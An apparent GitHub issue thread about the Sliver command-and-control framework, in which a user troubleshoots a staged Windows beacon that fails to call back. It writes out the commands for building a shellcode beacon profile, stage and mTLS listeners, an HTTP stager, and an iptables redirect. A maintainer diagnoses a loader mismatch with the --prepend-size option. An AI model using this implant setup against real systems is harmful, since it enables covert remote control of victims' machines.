Custom staged, not callback beacon about sliver HOT 3 CLOSED

How did you start your stage listener?

from sliver.

How did you start your stage listener?

I use this commands:

profiles new beacon --arch amd64 --os windows --mtls $ip:443 -f shellcode --timeout 300 --seconds 5 --jitter 2 win_pr
stage-listener --url http://$ip:8080 --profile win_pr --prepend-size
mtls --lhost $ip --lport 4443
generate stager -r http --lhost $ip --lport 8080


iptables -A PREROUTING -t nat -p tcp --dport 443 -j REDIRECT --to-port 4443

And I use profile with --debug and -G, no back connect.

from sliver.

@Jiw0cha you're using --prepend-size with a custom shellcode loader. Your loader doesn't take that into account, and treats the first four bytes as instructions. Either remove --prepend-size from the stage-listener command or adapt your code to skip the first four bytes (not needed in your case since you can get the size from the HTTP headers).

from sliver.